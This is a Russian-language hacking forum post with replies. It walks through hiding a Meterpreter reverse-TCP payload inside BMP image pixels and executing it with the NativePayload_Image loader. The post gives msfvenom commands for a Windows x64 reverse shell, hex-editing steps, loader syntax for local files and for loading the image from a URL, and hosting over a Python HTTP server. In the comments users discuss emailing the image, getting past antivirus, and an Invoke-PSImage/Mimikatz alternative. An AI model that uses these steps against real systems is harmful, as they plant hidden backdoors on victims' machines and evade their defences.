• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья Доставляем пейлоад через картинку

Привет привет codeby, сегодня я расскажу вам про то как спрятать payload в картинке. Меня кстати Ghost Pants зовут.
Данная статья является переводом с изменением данной статьи
Приступаем:
1521143093675.png

Это картинка, обычная совсем не подозрительная картинка.
1521143137436.png

А если приблизить? Мы видим наш пейлоад который размещён за пикселями картинки.
Для начало я хочу сказать о том как сделать это вручную без кода. Автор оригинальной статьи запостил свой код по этой ссылке DamonMohammadbagher/NativePayload_Image
Код за пикселями:
Код:
Pixel 1 = R(112) , G(255) , B(10)
Pixel 2 = R(192) , G(34) , B(84)
Pixel 3 = R(111) , G(0) , B(190)
Итак, у нас есть данные RGB пейлоады 112,255,10,192,34,84,111,0,190
Код:
Decimal == hex 112 == 70 255 == ff 10 == 0A 192 == C0 34 == 22 84 == 54 111 == 6F 0 == 00 190 == BE
Наши пейлоады заражены данным Meterpeter'ом 70FF0AC022546F00BE, как видно на картинке ниже у нас есть цвет и Hex code для каждой части пейлоада
1521143853063.png

Теперь вы знаете как и где можно поменять BMP файлы для создания инъекции.

Дальше мы рассмотрим как заразить BMP файл шаг за шагом:
Шаг1*урок информатики в начальной школе*: для начала мы создадим BMP файл в windows с помощью самого обычного пеинта
Примечание: данные шаги нужно выполнять ТОЛЬКО в Windows средствами MS Paint
Создаём пустой BMP файл с разрешением 700x2 пикселей
1521144154815.png

Сохраняем файл в 24-bit bitmap формате цветов.
Шаг2*Кааали*: в Kali linux нам нужно создать пейлоад которым мы будем инфицировать картинку
Вот команды:
Код:
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f c > payload.txt
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f num > payload.txt
Шаг3*Понеслась*: теперь мы будем заносить наш пейлоад созданный в пункте 2 в BMP файл созданный в пункте 1, делать это можно используя hexeditor в Kali или же "Hexeditor NEO" в винде.
На 5-ой по счёту картинке (она снова снизу) мы видим Hexeditor NEO с открытым BMP файлом
1521144523156.png

А на следующей картинке видно что у нас есть 3 пикселя с пейлоадами “70FF0A" "C02254" "6F00BE”
1521144595546.png

Сейчас вы увидите что происходит с BMP файлом когда мы меняем изображение
Чтобы это сделать, нужно отредактировать наш BMP (из первого шага) в Kali с hexeditor как мы делали ранее. Сейчас нужно закачать пейлоад в файл с помощью хекса, просто копипасти из офсета 36 от начала до конца. Офсет 36 это первый байт после BMP заголовка (заголовок это 54 байта).
1521145206897.png

На данной картинке заголовок выделен зелёным.
Примечание: перед тем как менять BM{ мы должны сменить формат пейлоада из “0xfc” в “fc”, пейлоад должен выглядеть примерно так: "+repavtorustaty.txt" и вставить его в битмап файл из офсета 36, процесс показан на картинках которые как всегда ниже.
1521145363928.png

Как видно на картине пейлоад начинается с “FC48” на картинке сверху и заканчивается на “FFD5” как на картинке снизу
1521145476109.png

Теперь сохраняем.
После данных манипуляций мы получим что-то похожее на это:
1521145708024.png

Мы видим битмап с большим количеством пикселей.
Теперь вопрос, как много пикселей нам нужно для создания пейлоада, если у нас 510 байтный пейлоад нам нужно 170 пиксель под пейлоады
Код:
510 Bytes payload , 3 is 1 byte for each : R + G + B ==> 1+1+1
510 / 3 = 170 Pixels
это формула по которой мы вычисляем количество нужных пикселей
1521146577897.png

После создания этого BMP файла нам нужно немножко кода для чтения пейлоадов из BMP файла.
Автор оригинала сделал код в C# для этой цели, код выполняется и записывает пейлоад в память создаваю шото похожее на бекдор.
С данным инструментом также можно сделать новый битмап файл или модифицировать уже существующий BMP и инжектить наш пейлоад.
Запускаем пейлоад из BMP файла с помощью "NativePayload_Image.exe" шаг за шагом:
Шаг1*я обленился*:если вы хотите увидеть NativePayload_Image синтаксис, мы должны запустить данный код без всяких переключений
1521147409175.png

С этим кодом вы сможете очень просто запустить сеанс для локальных BMP файлов.
Для бекдор мода с этим инструментом нужна эта строчка:
Код:
Syntax : NativePayload_Image.exe bitmap “filename.bmp” [Meterpreter_payload_Length] [Header_Length]
Syntax : NativePayload_Image.exe bitmap “filename.bmp”  510  54
1521147536497.png

Как видно на картинке мы смогли запустить сессию из локальных BMP файлов и “NewBitmaImge.bmp” это наш BMP.
Окей, мы рассмотрели как вручную создать битмап файлы с пейлоадом и также мы смогли запустить пейлоады из этих битмапов.
Данном случае бекдор и бмп файл должны быть в одной и той же директории , но мы можем использовать путь к бмп файлу.
Шаг2*scra pa pa*: создаём новый битмап файл с пейлоадом используя инструмент. В данном случае нам нужно создать пейлоад одной из этих команд:
Код:
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f c > payload.txt
msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 -f num > payload.txt
Примечание: нам нужно заменить 0xfc , 0x48 , 0x83 “ на “fc,48,83, ...”
1521147946724.png

Теперь, как на картинке ниже мы должны создать новый битмап файл.
1521148000626.png

Теперь корректируем синтаксис
Код:
    Syntax : NativePayload_Image.exe create “Newfilename.bmp” [Meterpreter_payload]

    Syntax : NativePayload_Image.exe create “Newfilename.bmp” fc,48,83,....
Шаг3*BMP*: модифицируем BMP файл для загрузки в него пейлоада.
В данном случае нам нужен пейлоад и ещё один бмп файл для добавления в него пейлоада
1521148153550.png

Теперь используем модификацию синтаксиса
Код:
Syntax : NativePayload_Image.exe modify “Existfilename.bmp” [header_length] [Meterpreter_payload]
Syntax : NativePayload_Image.exe modify “Existfilename.bmp”  54  fc,48,83,....
Длина BMP заголовка всегда ровна 54
1521148214518.png

Как видно на картинке после модфикации этого файла мы видим что пиксели нашего метерпетера под чёрным фоном видны только при зуме в 300%. Теперь смотрим на картинку ниже, это модифицированный BMP файл и он хорошо работает.
Теперь мы будем использовать наш бип файл на вебсайт для скачивания через HTTP, окей, в данном случае мы будем юзать “MyBMP_to_Modify.bmp” и я буду использовать этот файл в веб сервере на кали с помощь питона
Код:
python -m SimpleHTTPServer
и наконец я получусессию на url как на следующей картинке. Для скачивания BMP используем следующий код
Код:
Syntax : NativePayload_Image.exe url “Url” [Meterpreter_payload_Length] [Header_Length]
Syntax : NativePayload_Image.exe url "https://192.168.59.2:8000/MyBMP_to_Modify.bmp"  510   54
1521148697932.png

Вот и всё. Удачи тебе %username%
 

Вложения

  • 1521143490595.png
    1521143490595.png
    29,2 КБ · Просмотры: 254
  • 1521145183624.png
    1521145183624.png
    73 КБ · Просмотры: 248

kot-gor

Grey Team
07.09.2016
529
705
BIT
0
Добрый вечер.подскажите, а через почту если модифицированную картинку передать, она отработает? через тот же gmail.
 
N

n01n02h

Добрый вечер.подскажите, а через почту если модифицированную картинку передать, она отработает? через тот же gmail.
Сомнительно что человек знает, скорее всего даже не пробовал, ибо скрины с оригинальной статьи
 
  • Нравится
Реакции: ghostphisher

kot-gor

Grey Team
07.09.2016
529
705
BIT
0
разобрано подробно, даже если не пробовал , время и труд вложил..главное что бы это работало.Тема интересная.
 
  • Нравится
Реакции: OneDollar

Bypass

Green Team
02.02.2018
451
579
BIT
0
Вот я одного не пойму смысл всего этого если все равно исполняемый фаил нужно впарить. Зачем гемор с пайлодом в картинке, не проще ли тупо из исполняемого файла запустить полезную нагрузку в памяти? объясните нубу в чем сила юзать пайлод в картинке?
 

GhostPants

Green Team
13.02.2018
17
52
BIT
0
что то до боли знакомое)
да, видел твою статью, но всё же решил написатьна свой лад)
Вот я одного не пойму смысл всего этого если все равно исполняемый фаил нужно впарить. Зачем гемор с пайлодом в картинке, не проще ли тупо из исполняемого файла запустить полезную нагрузку в памяти? объясните нубу в чем сила юзать пайлод в картинке?
замаскировать пейлоад в картинке, картинка вызывает меньше подозрений чем какой-то там файл
разобрано подробно, даже если не пробовал , время и труд вложил..главное что бы это работало.Тема интересная.
если всё правильно сделать, то заработает, а если будут проблемы пишите сюда и мы коллективно решим проблему.
 

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 186
BIT
0
ТС вы осознаете что картинку можно повесить на хосте или передать с ее вместе с прогай которая ее прочтет и откроет бэкдор, я пытаюсь сказать что картинкой ты никого не заразишь) по любому нужно засылать файл и запускать процесс, хотя я пишу и думаю это реально) по сути
 
  • Нравится
Реакции: OneDollar и Bypass

TROOPY

Green Team
16.02.2017
112
96
BIT
0
ТС вы осознаете что картинку можно повесить на хосте или передать с ее вместе с прогай которая ее прочтет и откроет бэкдор, я пытаюсь сказать что картинкой ты никого не заразишь) по любому нужно засылать файл и запускать процесс, хотя я пишу и думаю это реально) по сути
Так получается что антивирус при таком раскладе не спалит наш пэйлоад?
 

GhostPants

Green Team
13.02.2018
17
52
BIT
0
Так получается что антивирус при таком раскладе не спалит наш пэйлоад?
ну да, если конечно антивирус не расшифровывает bmp и не аналиизирует каждый пиксель)
Так получается что антивирус при таком раскладе не спалит наш пэйлоад?
не палит
 
Последнее редактирование:

Bypass

Green Team
02.02.2018
451
579
BIT
0
замаскировать пейлоад в картинке, картинка вызывает меньше подозрений чем какой-то там файл
так исполняемый фаил в комплекте с картинкой и вызовет подозрения
по мне проще заюзать любой скрипт чтобы подтянуть пайлоад или расшифровать его из тела скрипта и запустить, тем самым нет необходимости запуска exe что дает больший прирост даже на тех системах где стоят права на запуск исполняемых файлов.
 
Последнее редактирование:

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 186
BIT
0
ребятки не напрягайтесь мало того что Вам придется софт заслать жертве, при условии что картинка бут висеть гдето в инете и + к этому к всему Вам нужно заслать SOFT который будет его (софт) активировать) и открывать "заднюю дверь"
 

z3r0c10wn

Grey Team
04.09.2017
226
295
BIT
75
этот подход не тру, есть тру подход - peewpw/Invoke-PSImage
бомба - сама идея скрипта который вставляет байты сценария ps1 в пиксели png-изображения, наименее значимые 4 бита двух значений цвета в каждом пикселе используются для хранения полезной нагрузки. То есть по сути изображение страдает только насыщенностью цвета.
По словам автора, каждый пиксель изображения используется для хранения одного байта скрипта. Поэтому для полноценной работы инструмента необходимо подобрать изображение с тем же количеством пикселей, что и байтов в скрипте. Например, для PS-скрипта Invoke-Mimikatz подойдёт изображение с разрешением 1920×1200.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!